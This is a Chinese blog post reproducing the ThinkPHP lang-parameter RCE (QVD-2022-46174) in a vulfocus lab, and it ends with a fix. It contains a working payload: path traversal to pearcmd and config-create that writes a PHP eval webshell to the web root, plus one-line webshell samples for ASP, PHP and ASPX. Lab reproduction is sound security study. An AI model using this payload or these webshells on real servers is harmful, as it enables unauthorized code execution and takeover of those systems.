thinkphp lang命令执行(QVD-2022-46174)漏洞复现

漏洞简介:

        ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。当特定版本的ThinkPHP开启多语言功能,并且存在扩展pear时,攻击者可以构造lang参数实现远程代码执行。

影响版本:

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

漏洞原理:

1、知识储备:

     (1)HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。

     (2)PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。

     (3)Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。

     (4)config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径

2、漏洞原理

       该漏洞建立在目录遍历和文件包含之上,主要由于pearcmd的存在为攻击者提供了实施远程代码攻击的可能,扩大了其危害性。

复现过程:

环境搭建:ubuntu+docker+vulfocus

工具:burpsuite+蚁剑

启动靶场:

docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=《ubuntu 的IP》 vulfocus/vulfocus

访问路径http://192.168.202.166:64098/public/index.php

抓包并丢到repeater模块并修改包添加payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php

 payload注释:

../../../../../../../../  一直退到根目录(需存在目录遍历漏洞)

/usr/local/lib/php/pearcmd  需要用到pearcmd

&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php   将一句话木马写入到/var/www/html/666.php中

一句话木马其实就是脚本语言的利用,懂脚本语言则无师自通,不懂也不打紧,稍微熟悉一下各脚本语言的执行命令操作即可灵活构造。

          Asp一句话木马:

         <%eval request(“heroes”)%>   

          Php 一句话木马:

        <?php @eval($_POST[value];?>

         Aspx 一句话木马:

        <%@ Page Language=”Jscript”%>

        <%eval(Request.Item[“value”])%>

使用蚁剑连接

成功获取shell

修复建议:

php.ini中的register_argc_argv设置为Off,禁止url传入命令行参数;

或升级版本。

总结:

        本次漏洞复现,是建立在前人的基础上的,整个过程没有遇到太大问题,总体收获就是感受了一把该漏洞,以及复习了前面学习到的一句话木马,同时扩展了一些小知识点。

      将思绪代入最初的漏洞发现者,才明白知识储备对挖洞者的重要性。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值